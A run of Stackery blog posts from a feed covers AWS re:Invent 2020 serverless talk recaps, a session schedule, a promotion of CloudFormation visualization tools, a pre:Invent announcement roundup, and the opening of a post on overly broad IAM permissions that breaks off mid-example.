**Adopting open source can be a real power move for the right team. In this case the group ended up adding some features to Spinnaker that they needed, meaning everyone got the benefit of new multi-account tools.**
## Data-driven vehicle development at Volkswagen Commercial Vehicles
Last but not least, another talk from the automotive sector about managing massive amounts of data using serverless. [Volkswagen](https://www.volkswagen.com/) is gaining insights from terabytes of measurement data from its test fleet as well as from the vehicles of pilot customers. They set up a scalable, serverless data processing pipeline to harvest insights from raw vehicle sensor data using [Amazon S3](https://aws.amazon.com/s3/), AWS Lambda, Amazon Elasticsearch Service, and more.The talk was delivered by John Fisher of AWS with Dr. Mohammad Al-Rifai and Dr. Michael Nolting from Volkswagen Commercial Vehicles.
First off I liked this quote describing *why* Volkswagen was doing all this measurement:
“We do a lot of tests trying to measure the load of different components in different driving situations. We **collect a lot of data** from our test fleet, we **analyze** this data, and we make sure that the **vehicles will be working as expected in every possible driving situation**. We have some customers where we get their consent to install some data loggers in their vehicles and collect a lot of data while they are using it. And then we try to compare the data with the data from our test fleet to make sure that, first of all, we are testing the vehicles in the right way.”
That’s going to result in an absolute sea of data, and **while S3 can certainly hold all that data, getting it in was a challenge:**
“The challenge at the beginning was that we are dealing with more than 100 terabytes of data that needs to be imported or uploaded and how we solve it is by using a few snowballs.”
I love hearing about the use of AWS Snowball, just the idea of terabytes of data travelling through the US mail.
In the end, the Volkswagen team used Lambda Functions to process the data into usable models, and a SQL storage system for their parameterized data.
“What we have shown you here is how we build this very scalable solution to process terabytes of data on AWS to extract some useful insights, out of the data to have this understanding of the usage of the vehicles by customers to be able to compare it with our testing procedures in our test fleet. So, starting from the vehicle and the data, creating the insights. We can then learn from it, and build better surfaces and better products for our customers, which is a win win situation for all of us.”
While I think it’s neat to see stories of agility, this talk was an illustration of the **raw power of AWS.** There simply would have been no way to do this level of data processing without a billion-dollar investment before modern cloud tools.
That’s a wrap from me this [re:Invent](https://reinvent.awsevents.com/), I have truly enjoyed sharing all these stories of how companies are leveraging the true power of what Serverless unlocks. I am excited for what 2021 holds - the shift toward microservice architecture means we’ll see even more democratization of the tech industry: ten years ago you really had to be an expert to deploy a basic web backend.
Now, even a n00b like me, can deploy an API endpoint that deploys to multiple environments and scales automatically. If you look at the cloud security industry, most of its luminaries are autodidacts. Successful organizations will be ones that can welcome newcomers, see their skills when other people are asking for degrees, and foster skills growth.<![CDATA[Exciting Serverless Wins with Agility and Scale]]>https://www.stackery.io/blog/exciting-serverless-wins-with-agility-and-scalehttps://www.stackery.io/blog/exciting-serverless-wins-with-agility-and-scaleThis year [re:Invent](https://reinvent.awsevents.com/) is a marathon rather than a sprint, and all of us are working hard to maintain enthusiasm over three weeks. The good news is there’s lots of great material in the talks this week, and I’d like to go over some of my favorites.
## Building revolutionary applications the Serverless way
[Ajay Nair,](https://twitter.com/ajaynairthinks) director of AWS Lambda, guided us through how in 2020 Lambda has continuously enabled new use cases and workload patterns while improving performance, portability, cost efficiency, and usability. Or as I call it, the Serverless Revolution.
While I think it’s hard to verify a ‘development speed’ I can say that the lower cost estimates do sound accurate. Everyone considering using Lambda considers a ‘good but expensive’ option, but everyone who *is* using Lambda Functions has seen major savings.
Thousands of companies use Lambda everyday, from Netflix and Univsion to LuluLemon and iRobot. This still blows me away. A day of online shopping and watching streaming content probably kicks off hundreds of serverless events.
Ajay is truly passionate about the future of Lambda and that comes through in his talk. His positivity is well-founded and I can’t wait to see what next year holds.
## How Erickson Living built a COVID-19 outbreak management solution
As innovators in independent living, assisted living, and skilled nursing care, Erickson Living responded to the COVID-19 outbreak by building an infectious disease management system with the AWS Data Lab to prevent the spread of the virus.
Everyone early on in the pandemic was building little hackathon projects for COVID-19 tracking, but Erickson was trying to centralize data and deliver it at scale.
The talk was a tour of Erickson Living’s serverless demographic data lake built using AWS Glue, Amazon Athena, Amazon Elasticsearch Service, and other AWS services.
The project achieved massive scale quite quickly with tens of thousands of resident records managed within the system. As we move into a world of vaccinations and more contact, these contact tracing tools will be critical.
Again, we see serverless as the entirety of the compute layer. This makes sense for a product that needs to scale smoothly and be up and running within weeks.
## Paving the way toward automated driving with BMW Group
[BMW Group](https://www.bmwgroup.com/) collects 1 billion+ km of anonymized perception data from its worldwide connected fleet of customer vehicles to develop safe and performant automated driving systems. We heard from Junjie Tang from AWS and Marc Neumann, Product Owner Data Engineering Automated Driving - BMW Group about how serverless is part of this story.
Anytime someone says serverless is a flash in the pan, I point out that S3 is serverless data storage, and S3 is still the dominant tool for data storage. In fact BMW group uses it as the basis for their data lake.
In this detailed talk (see the below data lake reference architecture) it was fascinating to see how anonymized driving data from the real world would be essential to creating automated driving in the future. As long as the robot drivers of the future aren’t basing their parallel parking skills on me!
[Continue reading part two with Capital One and AXA> ](/content/blog/Exciting-serverless-wins-part-2/index.html)<![CDATA[re:Invent 2020 week 1: The Year of Serverless]]>https://www.stackery.io/blog/the-year-of-serverlesshttps://www.stackery.io/blog/the-year-of-serverless The first keynote is over, the talks have started, and the AWS Heroes all got to feel motion-sick but appreciated in their AWS-supplied VR helmets.
[Good one Tom](https://twitter.com/tmclaughbos/status/1333952119272067073)
**Here are my week 1 thoughts:**
Throughout the keynote it was clear that serverless is here to stay. One detail stood out to me above all others: **Nearly half of all new compute workloads in Amazon in 2020 were Lambda based.**
During Andy Jassy’s keynote, a veritable wall of major customers that use Lambda. It may not be that enterprises use Lambdas solely, but serverless is a part of many teams’ microservices strategy.
Will the earth of 2030 be criss-crossed with supersonic jet lines? I’m not certain of that but it was amazing to see how [Boom](https://press.aboutamazon.com/news-releases/news-release-details/boom-supersonic-goes-all-aws) is designing a new jet fuselage for a fraction of the old cost, using a combination of serverless and high-performance EC2 instances.
# Serverless at the LEGO group
Danilo and Sheen are incredibly smart engineers and have done great things at the LEGO group. They’re also both great at sharing their knowledge. From [the talk abstract](https://virtual.awsevents.com/media/t/1\_molzqzyy): After experiencing scaling issues on Black Friday, the LEGO team fully refactored its monolith to serverless microservices on AWS.
Last year LEGO shared how they migrated their website to Serverless. I can’t help but see the comparison between small components of a stack snapping together and the construction of LEGO bricks. Some highlights:
- This year they are accelerating even more with Serverless. - Team Growth + Business Value has all increased due to this acceleration.
AWS Step Functions - helps to put the workflow in a better place.
Why this matters: serverless means combing different services to implement better patterns to make the application perform better.
With **AWS EventBridge** the team was able to build a back in stock notification
(You can see AWS EventBridge right in the middle)
The promise of EventBridge means no more reliance on a Lambda to do the routing of events between other Lambdas.
**Choreography vs Orchestration:**
Choreography is sending the right event the right handler, e.g. with EventBridge. Orchestration is for coordination inside a microservice, e.g. with Step Functions.
Sheen wrote about how great cloud engineering teams are grown, not built. I love his advice here.
**A key point to the scalability success story was how it improves business value. It improves trust and reduces toil for your teams, and gives your team the flexibility to deliver business value.**
###
# How BMW Group uses serverless for a data-driven ecosystem
Simon Kern [dived deep into how the company is leveraging AWS serverless capabilities](https://virtual.awsevents.com/media/1\_pg9n145h) for delivering ETL functions on big data in a modularized, accessible, and repeatable fashion. He also provided insight into the next steps of the journey.
I’m always surprised about how any successful enterprise has a massive IT footprint. It takes a lot of computing to make cars! BMW has 230 software products and 694 locations across 29 countries and a billion requests from 14 million vehicles! 🤯
Data ingestion is a consideration for any analytics/data gathering project.
It’s key to be able to let non-experts to ingest data for analysis. If you limit all steps of analysis to technical experts then analysis and stakeholders will never truly engage with your toolset!
The fact is that data analytics, which seems like such a technical field, is really about the human factor. The only way to get high quality data sets is if everyone from the field to the boardroom has some level of power to ingest new information. Of course it’s critically important that everyone has access to *query* analytics.
If we can’t get the benefits of analytics out to our whole business, then we’re not really delivering business value.
# Using AI to find email insights at Liberty Mutual
Gillian Armstrong at Liberty Mutual, an AWS ML Hero, gave a talk on an ML workflow for finding insights from email. The Liberty Mutual team built a system that can monitor emails and automatically extract key information from complicated unstructured data like email text and attachments.
Notice How everything is Serverless in the stack :)
I absolutely loved her thoughts on prototyping and iteration. **The smaller pieces you can get at of the "big question", the faster you can work on the components**.
This again reminds me of [Sheen Brissals’ essay on the serverless development mindset](https://medium.com/lego-engineering/a-serverless-set-piece-development-case-study-back-in-stock-email-notification-4139be5f000d): that it’s critical to break up problems into smaller pieces to be able to develop effective microservice architectures. If you take tiny tiny bits of functionality it’s so much easier to say ‘here’s how a Lambda could do this.’
# An agility workout: how serverless helped Equinox handle disruption
I really loved [this abstract](https://virtual.awsevents.com/media/1\_zrm2biy9): As COVID-19 spread, Equinox Media recognized the need to fast-track the launch of Variis, its online fitness streaming platform. By developing Variis from the ground up with a cloud-native infrastructure, Equinox Media was able to accelerate and quickly scale up to meet demand.
Built to pursue fitness every day - Variis - powers two platforms and was built in just 6 months. I really don’t think there’s a way to do this in a way that scales without serverless technologies.
No matter how long I work with AWS it still amazes me how you can use tools like AWS Glue, Amazon Athena, and Amazon Kinesis to build a fully functional application that can run at scale.
# The year of serverless has come
It feels like in 2019 we were still waiting for serverless to ‘take off.’ But at a hackathon in December 2019 I saw every single team turn in a stack that involved an AWS Lambda, not to speak of serverless database tools, routing layers, and queueing. In 2020, along with the maturity of serverless tooling, the grim realities of quarantine meant that even more resource went into building completely cloud-based architectures.
In the rest of re:Invent and the year to come, serverless will be part of the conversation from the start. Teams moving to the cloud will *start* with serverless, and teams who need to build services quickly will rely on serverless tools. #ServerlessForEveryone<![CDATA[Your re:Invent 2020 Schedule]]>https://www.stackery.io/blog/reinvent-schedule-2020https://www.stackery.io/blog/reinvent-schedule-2020\## A week-by-week guide for 2020 AWS re:Invent
What every Serverless Developer needs to follow for re:Invent.
re:Invent 2020 is here and while you don't have to find Galileo 601 or Hall G it can still be a lot to manage. Our team combed through the massive re:Invent schedule to bring you the **the most important sessions related to serverless, architecture, and DevOps.**
In addition to the Serverless Track and the Keynotes we recommend these particular sessions. If you need help putting your schedule together we love [Cloud Pegboard](https://cloudpegboard.com/)!
[**Add all to your calendar**
](https://media.graphcms.com/4EKTx9rS06v56neTRRGV)
## By Team Member
## Modern Application Architecture
architected by Chase Douglas
| Session | | | |-------------------------------------------------------------|-------------|----------| | Mainframe workloads’ fast track to agility | Tue, Dec 1 | 11:15 AM | | Data modeling with Amazon DynamoDB – Part 1 | Wed, Dec 2 | 1:15 PM | | Data modeling with Amazon DynamoDB – Part 2 | Thu, Dec 3 | 2:00 PM | | Building revolutionary serverless applications | Wed, Dec 9 | 11:00 AM | ## Serverless and DevOps
assembled by Ryan Coleman
| Session | | | |---------------------------------------------------------------|-------------|----------| | Amazon’s culture of innovation | Wed, Dec 2 | 8:45 AM | | Securing your Amazon ECS applications: Best practices | Thu, Dec 3 | 11:30 AM | | How Capital One manages the health of its applications on AWS | Wed, Dec 9 | 8:00 AM | | Testable infrastructure: Integration testing on AWS | Tue, Dec 15 | 10:00 AM | | Orchestrating complex deployments using AWS Developer Tools | Wed, Dec 16 | 12:45 PM |
## Serverless for the Enterprise
curated by Tim Zonca | Session | | | |-------------------------------------------------------------------------|-------------|----------| | Build a modern technology foundation for your company's future | Mon, Nov 30 | 9:00 PM | | How LEGO.com accelerates innovation with serverless | Tue, Dec 1 | 11:15 AM | | From complexity to clarity: The strategic value of AWS | Wed, Dec 9 | 8:00 AM | | Digital transformation: Attributes of a 21st-century agile organization | Thu, Dec 10 | 10:00 AM |
## Serverless Success Stories
gathered by Farrah Campbell | Session | | | |---------------------------------------------------------------------|-------------|----------| | Building for the future with AWS databases | Wed, Dec 2 | 9:15 AM | | AWS Partner Keynote - LIVE | Thu, Dec 3 | 7:45 AM | | Transformation, migration, and governance: Lessons learned | Thu, Dec 3 | 11:15 AM | | Fidelity Investments’ journey to operationalize cloud observability | Thu, Dec 17 | 12:00 PM |
Remember you can follow our re:Invent coverage at [Stackery.io/reinvent](/content/reinvent/index.html).<![CDATA[ Visualizing CloudFormation templates]]>https://www.stackery.io/blog/ visualize-cloudformation-templateshttps://www.stackery.io/blog/ visualize-cloudformation-templatesAs your infrastructure grows, getting a handle on all your AWS resources can be overwhelming. While that’s probably an understatement, help could be right around the corner.
We’ll cover a few CloudFormation visualizer tools that can help, but let’s level set first.
AWS CloudFormation is an established Infrastructure-as-Code solution that allows you to define, provision, organize, manage and update your AWS resources from a text-file template. Unfortunately, CloudFormation has a steep learning curve and running your entire AWS infrastructure directly from code stored in text-files can become challenging.
## Why visualization matters
Modern CloudFormation visualization solutions allow you to see your whole architecture at once, making it much easier to gain an overview of what’s going on and strategically plan your next move.
You’ll no longer have to dig through hundreds of lines of code to understand the relationships between your resources or update your templates. Simply drag-and-drop resources using an intuitive GUI and your resources will be integrated, with the associated code written automatically behind the scenes.
### **Understanding CloudFormation templates**
CloudFormation templates are formatted text files written in YAML or JSON and serve as a blueprint for how you want to organize, manage and deploy your AWS resources.
The CloudFormation service takes it from there, provisioning, configuring, handling dependencies and deploying your needed resources. When a template is executed, the collection of resources created and provisioned to work together is called a stack. Oversight of your resources becomes much more straightforward, as you update, delete or replicate them together as stacks.
Using templates and managing resources at the stack-level removes much of the manual work you’d have to otherwise undertake in the AWS management console or CLI. And since you’re noting the instructions for your infrastructure in your template, you have an always up-to-date reference of all resources involved.
Templates also allow you to move away from having to manually execute steps each and every time you want to make an update and make it easy to add functionality or resources to your existing infrastructure. And, as the name implies, you can use an existing template as a starting point for a new environment where a similar set of resources is required. This removes manual steps, reduces errors and makes it much faster to get up-and-running when you want to replicate your application in multiple environments or in different regions around the world. [Take a look at this article for a deeper discussion.](/content/blog/aws-cloudformation-templates-best-practices/index.html)
However, becoming familiar enough with CloudFormation to get up-and-running is not a straightforward or fast endeavor. There are many intricacies to learn and getting things just right is critical, since your entire application is running based on what is written in the templates. You need a tool that removes the need to spend hours cramming on CloudFormation syntax, so you can focus on strategic infrastructure design and building your applications.
This is especially true if you weren’t the original author of the template or if you have a team of developers who need to access, work with and understand the templates.
## **Why visualization is important for teams**
- **Different knowledge levels.** Most teams consist of developers with varying levels of comfort working in CloudFormation. Fortunately, the right visualization tool can quickly level-up team members without a CloudFormation background. - **Source of truth.** The visualizations can serve as the source of truth and go-to CloudFormation documentation. This will help get the entire organization on the same page, allowing for clearer and more direct discussions about architecture to take place across development, operations, IT and other teams. - **Learn through doing.** To start, a diagrammed view of the infrastructure immediately provides a shared understanding of the resources being used and the relationships they have to one another. From there, the best visualization tools provide a hands-on way to speed up the process of learning IaC and CloudFormation. With some solutions, even newbie developers can build or modify a CloudFormation infrastructure simply by dragging-and-dropping resources with no coding required. As resources are added, modified, moved or removed, the CloudFormation visualizer automatically generates the corresponding code.
A developer can then toggle to the code view and learn the syntax needed to perform the change they just made. Compare this to the traditional approach, of sifting through line after line of code and digging through the documentation, googling to figure out what each piece of syntax actually does. It’s no contest. When it comes to equalizing CloudFormation knowledge across the team, visualization tools with drag-and-drop editors are the only way to go.
## **Options for visualizing CloudFormation templates**
It can be difficult to think strategically about the structure, trade-offs and connections in your architecture when just presented as lines of code. Graphical, easy-to-understand diagrams of your infrastructure that give you a high-level overview will help you make sense of things.
Key parts of a visualization tool
- Graphically represents and updates the relationships between AWS resources, letting you easily understand the connections. - Automatically generates code as you move resources around its graphical interface. - Can serve as your CloudFormation visual editor, but also includes a built-in way to work directly in the code if needed. - Validates your template to ensure the relationships you set up make sense and will run correctly. - Proactively identifies and remediates potential issues. - Scaffolds appropriately scoped permissions between resources to prevent [privilege escalation](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) security concerns. - Puts you in the director’s chair with a high level of control, allowing you to orchestrate change management, governance and lifecycle management. - Deploys directly from the visualization tool.
There are AWS CloudFormation visualization solutions that can help to varying degrees, ranging from just a simple diagram to those that are much more useful, enabling you to directly build and modify your infrastructure. Here are a few of the options:
### **Graphviz**
One approach is to use open-source graph visualization software called Graphviz. A script has been created to turn Graphviz into a CloudFormation diagram generator. To run the script, you would need to install Graphviz and Python. While Graphviz could be a simple, helpful visualization tool, it can't visually edit the template, forgoing most of the benefits above.
### **AWS CloudFormation Designer**
Amazon has its own template visualization tool called AWS CloudFormation Designer. It’s part of the AWS CloudFormation console and allows users to create, view or modify templates. It automatically modifies code as changes are made in the GUI and has an integrated editor to manually update the code. Designer evaluates the resource relationships that are setup, along with the code syntax, to ensure they are valid before running.
On the downside, CloudFormation Designer hasn’t received the updates or attention it once did from Amazon, isn’t very intuitive and doesn’t group related resources. Instead, it forces you to work at the raw AWS resource level. For example, if you wanted to add a virtual network that requires 20 resources, they would remain ungrouped and separate in CloudFormation Designer’s visualization. You can imagine how this could quickly become a mess as more resources are added. For this reason, CloudFormation Designer should only be used for an simple use case. Even then, things could get out of hand quickly with any kind of scaling. For this reason, real-world applications are simply too complex for CloudFormation Designer to be useful. On the other hand, Stackery’s Design Canvas cleans things up by grouping related resources. From there, those resources can be configured using a handy sidebar in the user interface. 
### **Stackery Design Canvas**
The patented Stackery Design Canvas seamlessly handles all the feature requirements outlined above. It’s a modern solution, crafted and continuously updated to provide you with a simple, visual way to plan, design and manage your AWS infrastructure. Building your templates in Stackery is dramatically faster than manually coding them from scratch. Even expert users, [like the creator of AWS Lambda itself, Time Wagner](/content/blog/15-hours-to-15-minutes/index.html), can shave tons of time off their CloudFormation template-building process with Stackery. Stackery visualizations can provide common ground for teams that may be typically siloed and can serve as the CloudFormation source of truth for your entire organization.
[Keep reading to learn more about Stackery’s solution and how to use our free plan. ](/content/blog/visualizing-CloudFormation-with-Stackery/index.html)<![CDATA[pre:Invent Roundup]]>https://www.stackery.io/blog/preinvent-roundup-2020https://www.stackery.io/blog/preinvent-roundup-2020\[!\[Screen Shot 2020-11-27 at 9.54.50 AM.png](https://media.graphcms.com/kZlRNI4uSJeFb6E4ZK3U)\](https://twitter.com/samcharrington/status/1331675687141445637)
Wow! What a week. AWS made a lot of news, though [not exactly in the way they’d planned](https://www.theverge.com/2020/11/25/21719396/amazon-web-services-aws-outage-down-internet). There was a lot of snark on the internet about the outage, including from this blog author who could not control their robot vacuum, but let’s remember that IT operations is very hard and AWS services are some of the most robust in the business. It’s easy to think we can all do better, but very few actually can.
[\](https://twitter.com/ryanycoleman/status/1331716293041352706)
The lasting news this week is the huge set of pre-reInvent announcements that got AWS Twitter excited this week.
[\](https://twitter.com/jeremy\_daly/status/1331252147808313346)
### AWS Step Functions stole the (pre) show
The clear darling of #preinvent was Step Functions, which added [service integration with Amazon API Gateway](https://aws.amazon.com/blogs/compute/introducing-amazon-api-gateway-service-integration-for-aws-step-functions/) along with [Synchronous Express Workflows](https://aws.amazon.com/blogs/compute/new-synchronous-express-workflows-for-aws-step-functions/).
The combination is a big step forward for serverless logic orchestration. Add in [code signing](https://aws.amazon.com/blogs/aws/new-code-signing-a-trust-and-integrity-control-for-aws-lambda/) and extension support, and enterprises can get a ton done through Step Functions and the [broad set of service integrations](https://docs.aws.amazon.com/step-functions/latest/dg/concepts-service-integrations.html) they support.
### CloudFormation Modules might be a turning point
Personally, I’m most excited about [the CloudFormation Modules announcement](https://aws.amazon.com/blogs/mt/introducing-aws-cloudformation-modules/).
I’ve spent enough time with infrastructure-as-code [module ecosystems](https://forge.puppet.com) to tell you with authority that tooling and the platform don’t matter that much. It’s the network effect of content, built with care by dedicated teams, through a sustained focus on community that makes it all work.
[\](https://twitter.com/ben11kehoe/status/1331386824208510976)
So, it’s with curbed enthusiasm that I look at CloudFormation Modules as a promising foundation for the hard work of building content ecosystems for the public and for enterprises. In my view, it’s the right IaC target for this kind of abstraction, vs SAM or CDK.
You can find a set of examples on AWS-samples GitHub [like this one for secure-by-default S3 buckets](https://github.com/aws-cloudformation/aws-cloudformation-samples/tree/main/modules/S3BucketBlog), which sounds very familiar to what Stackery builds out for you! Caution: JSON-only fragments seem to be supported at the moment for defining a module but [they might add support for YAML fragments](https://twitter.com/suniljagadish/status/1331609919733202949?s=21).
### But wait, there’s more!
Here’s a bunch more you might have missed. You can also read Jeremy Daly’s excellent [off-by-none newsletter](https://offbynone.io/issues/117/). - [SNS FIFO support](https://aws.amazon.com/blogs/compute/building-event-driven-architectures-with-amazon-sns-fifo/) was technically pre, preinvent but still handy! - [EventBridge cross-account resource policies](https://aws.amazon.com/blogs/compute/simplifying-cross-account-access-with-amazon-eventbridge-resource-policies/) are a HUGE deal for multi-account best practices. - [DyanmoDB to S3 backups](https://aws.amazon.com/blogs/aws/new-export-amazon-dynamodb-table-data-to-data-lake-amazon-s3/) has become very easy. Backups are important, albeit boring. - [Advanced Vector Extensions 2 support](https://aws.amazon.com/about-aws/whats-new/2020/11/aws-lambda-supports-advance-vector-extensions-2/) for Lambda is very exciting for people running relevant workloads. - [Lambda Code Signing](https://aws.amazon.com/about-aws/whats-new/2020/11/announcing-code-signing-a-trust-and-integrity-control-for-aws-lambda/) is going to be very handy for regulated environments. - [5-min batch windows](https://aws.amazon.com/about-aws/whats-new/2020/11/aws-lambda-now-supports-batch-windows-of-up-to-5-minutes-for-functions/) for SQS -> Lambda sounds like a great cheap way to reduce build webhook spam when the intended result is a single CodeBuild job from batched website CMS updates. - Well-Architected Framework fans can [enjoy a series of podcasts](https://twitter.com/fintanr/status/1331540809200570368?s=21) on what’s new and how to get the best out of WaF. <![CDATA[TwitterChat with Stackery after AWS re:Invent announcements]]>https://www.stackery.io/blog/twitterchat-2020https://www.stackery.io/blog/twitterchat-2020Normally after a big serverless announcement at AWS re:Invent we would gather in hallways and lobbies to debrief and theorize. Now, relegated to our home offices across the globe, we miss the hallway chatter. That's why we are hosting a TwitterChat!
**Topic**: Serverless & Containers
**Date**: Wednesday, December 16
**Time**: 2pm PST/5pm ET
**How to participate:**
1. Follow [@Stackeryio](https://twitter.com/stackeryio) on Twitter 2. Introduce yourself: Name, Business, Role/Title and #StackeryChats 3. Include the hashtag #StackeryChats and answer number in every tweet. To reply to “Q1” start your tweet with “A1”
**One randomly selected participant will win an Echo and $100 AWS Credits. Winner will be announced 48 hours after the TwitterChat, on Friday, December 18 at 10 am PST.**
We will pose a few questions related to the recent announcements and be on hand to moderate and give our own "two cents."<![CDATA[On-Demand Webinar — Modernizing Monolithic Apps with AWS & Stackery]]>https://www.stackery.io/blog/aws-webinar-on-demandhttps://www.stackery.io/blog/aws-webinar-on-demand<![CDATA[Exciting Serverless Wins Part II]]>https://www.stackery.io/blog/Exciting-serverless-wins-part-2https://www.stackery.io/blog/Exciting-serverless-wins-part-2\## Greenfield to self-service automation
**Symetra** built a self-service solution that allows teams to migrate applications from data centers to the AWS Control Tower multi-account environment using CloudEndure, infrastructure resources from AWS Service Catalog, and secure third-party solutions from [AWS Marketplace](https://aws.amazon.com/marketplace). We heard from Chuck Chemis, Enterprise Cloud Architect - [Symetra](https://www.symetra.com/) and Matthew Carlisle, Solutions Cloud Architect - [2ndWatch](https://www.2ndwatch.com/).
**The basic problem should be familiar to all enterprises: the intense friction of moving your software teams over to cloud architectures**. Along with all the retraining and re-framing necessary to be a cloud engineer, the work of making sure that newly deployed infrastructure is compliant is a huge task.
While early on in a cloud migration it can work to have a few trusted people managing changes, at some point they need to take a vacation!
By automating this for a self-service model, Chuck Chemis was able to go much further than before: "This year were able to achieve our ISO 27,000, and passed multiple security audits. We do see a feature, or a set of features, whereby we can leverage this style of compliance reporting and hopefully displace our needs as a company to have to bring in different auditors and third parties, where instead we can actually provide these reports to them. “
A great piece of advice from Matthew, “Prepare do some tooling ahead of time so that we can move slow and then move fast.” **So much of our agility mindset is focused on delivering quickly, but when it comes to deployment and compliance, a little work spent on deliberately planning tools can mean the rest of the work happens *much* more smoothly.**
To wrap up, they talked about how there really isn’t any end to how far you can go with integrating compliance with AWS, and Symetra plans to get into AWS Service Management Connector tooling next, to build skills through ownership and will think Cloud first.
## AXA: Rearchitecting with serverless to accelerate innovation
This talk was so strong I want to quote right from the abstract:
More than 50,000 customers use AXA’s usage-based, pay-as-you-drive insurance solution, which requires real-time data processing and analytics to generate a driver score (each moving car sends an update every second). AXA originally built the system using a traditional VM approach, but it was not scalable and created maintenance overhead, so the company fully rearchitected to serverless. The solution now leverages AWS Lambda, Amazon API Gateway, Amazon Kinesis, Amazon DynamoDB, and Amazon Aurora PostgreSQL serverless. I heard from Xavier Loup of AWS with Vincent Hiribarren, Lead Architect - AXA.
Really how much more perfect can you get? A massive need for data ingestion and processing, and a Virtual Machine solution that wasn’t working.
And not just any Virtual Machine setup either, but well-selected EC2 instances! Of course it’s possible to hand this scale with EC2 but it will take expertise on your team and maintenance. **Using serverless you can get better results *without* needing a team to monitor virtual machines or maintain load balancing and synchronization.**
Serverless compute added flexibility to their structure and integration with tools like kinesis. No need to write handlers when Lambda handles Kinesis streams natively.
Vincent gave a bunch more data that showed the improvement in performance, but really it’s the last point on his slide that stood out to me:
In the end we don’t start tech companies to become experts at platforms and systems engineering. Using cloud tools means freeing yourself to *focus on features* rather than how they’re hosted. That change is a big one and we’re still seeing the effects!
## Building the future of connected homes with AWS IoT
We haven’t really seen the full potential of AWS IoT and serverless. It’s a match made in heaven since most devices should need only occasional access to web services with occasional scale-ups.
As the use of connected devices in the home continues to grow, so does the rate of enabling innovations in connected home applications with the latest IoT and machine learning technologies. Speakers were Mary Miller of AWS with Bart Strong and Ryan Tarver from [Traeger Grills](https://www.traegergrills.com/).
This slide really breaks down the three key directions for evolution of IoT products: either the device gets smarter, the fleet of devices learns to act together, or the whole system gets more connected.
A great quote from Mary:
“As that journey is happening on the product side, product builders go through an evolution too. If you're a connected product builder, your mission is growth. So your goal is more customers using more of your devices to do more things. So from the outset, you've got to plan to enable that scale. You've got to plan to build in such a way that you spend your time figuring out how to deliver new experiences to customers, not managing device fleets and operations.”
I don’t want to build this article totally of direct quotes from Mary but gosh this one is good too:
“We think about IoT by asking three fundamental questions. First, how can I build devices that operate at the edge.
Then how can I manage and secure those devices at scale.
And, of course, the reason why you do the first two things, how I can make sense of my IoT data and take appropriate action.”
Mary talks about how the IoT tools remove the “undifferentiated heavy lifting” we all love to foist off to cloud tools.
Ryan from Traeger talked about the benefits of relying on AWS and the managed services Serverless capabilities as much as possible. When considering an on-prem or multi-cloud approach will be a very big challenge. Finding the right professionals to lead these efforts that are experts with marketing technology, traditional IT cloud web, mobile data product management, and even customer experience, will be a very tall order. But with AWS and managed services, you can complete projects in just a few short months when other teams and historical projects may take years.
It’s startling to see the number of devices and transactions per second that Traeger already handles, but what stands out even more is their cost per device. This includes the cost of the server side and a reduction to 1/6th the cost is outstanding!
I’m interested to see how IoT and serverless grow together in 2021. The data ingest from these devices is massive and their latency and bandwidth requirements are unique. I think we’ll see more and more networking specifically geared to them like the way Lambda@Edge is.
## How Capital One manages the health of its applications on AWS
This was an interesting talk because, okay, maybe you’re sold on cloud migration, but once you’re over that hurdle the governance problems with cloud architecture are just as real as they are with self-hosted applications.
Eli from [Capital One](https://www.capitalone.com/) went through some of the requirements that his team has for new AWS tooling which he described as "North Star" tenets for solution design.
- Event Driven - Cross Environment Aggregation - Scalable - Console-less accessibility - Serverless
My favorite quote: “Given the nature of our environment, which consists of hundreds of accounts and 1000s of applications using all these resources. Serverless was a really good fit. “
Take a look at their map of capabilities. In the lower left is CloudWatch Kinesis, Lambda and RDS. These services allowed Capital One to meet several needs of a new application through growth. They selected these services for their built in auto scaling and simplified scale scaling pattern functionality. These services also allow for built in retry patterns and managed servers.
It’s one thing to have an ‘AWS Expert’ or team to vet changes, but Capital One is making 400 scheduled changes a month! For anything of that scale, you need tooling. (Stackery, is a good tool for this). This was another reminder about ‘move slow to move fast,’ how the ability to automate change management is a key part of maintaining agility.
**It has been so exciting to see so many customers achieving cost savings, faster development speeds, and scale they did not anticipate on day one. I am further convinced that if you are making a bet on Serverless, it’s going to be the right one.**
What were some of your favorite quotes or talks at re:Invent this week? [Hit me up on Twitter](http://www.twitter.com/FarrahC32) and let me know!<![CDATA[IAM Policies: Good, Bad & Ugly]]>https://www.stackery.io/blog/iam-policy-exampleshttps://www.stackery.io/blog/iam-policy-examplesIn [my last post](/content/blog/iam-policy-basics/index.html) we looked at the structure of AWS IAM policies and looked at an example of a policy that was too broad. Let's look at a few more examples to explore how broad permissions can lead to security concerns.
## Unscoped Service Actions
By far the most common form of broad permissions occurs when policies are scoped to a service but not to specific actions.
Usually, a compute resource needs to interact with the [data plane](https://en.wikipedia.org/wiki/Data\_plane) of a service, performing [CRUD](https://en.wikipedia.org/wiki/Create,\_read,\_update\_and\_delete)-like operations to manipulate data inside of a resource made available by the service. An example is a [Lambda Function](https://aws.amazon.com/lambda/) uploading files to an [S3 Bucket](https://aws.amazon.com/s3/). Much less frequently do compute resources need to interact with the control plane of a service, which is used to manage resources themselves. Deleting an entire S3 Bucket, for example, is a control plane operation. Most compute resources should only have permissions for specific data plane operations.
Our first example comes from [AWS CloudFormation samples](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/sample-templates-services-us-west-2.html): the "[AWS Config](https://aws.amazon.com/config/) delivery channel and rules" template. Let's examine it with stack.new [here](/content/registry/?repo=https://github.com/eshnil2000/aws-templates/blob/master/Config.template).
This stack shows how to create an AWS Config Rule to ensure [EBS Volumes](https://aws.amazon.com/ebs/) have a specific [Tag](https://docs.aws.amazon.com/general/latest/gr/aws\_tagging.html) and have the [Auto Enable I/O](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/monitoring-volume-status.html#volumeIO) functionality turned on. Periodically AWS Config will check whether an EBS Volume is in compliance, write the result to an S3 Bucket, and send a notification of compliance to an [SNS Topic](https://aws.amazon.com/sns/).
While the check for tagging is built into the AWS Config service, checking for whether Auto Enable I/O is turned on is not a built-in check. Instead, a Lambda Function is used to check the setting.
It's in the Lambda Function's Role that we see overly broad permissions. The [stack.new](http://stack.new) audit warns us of the issue:
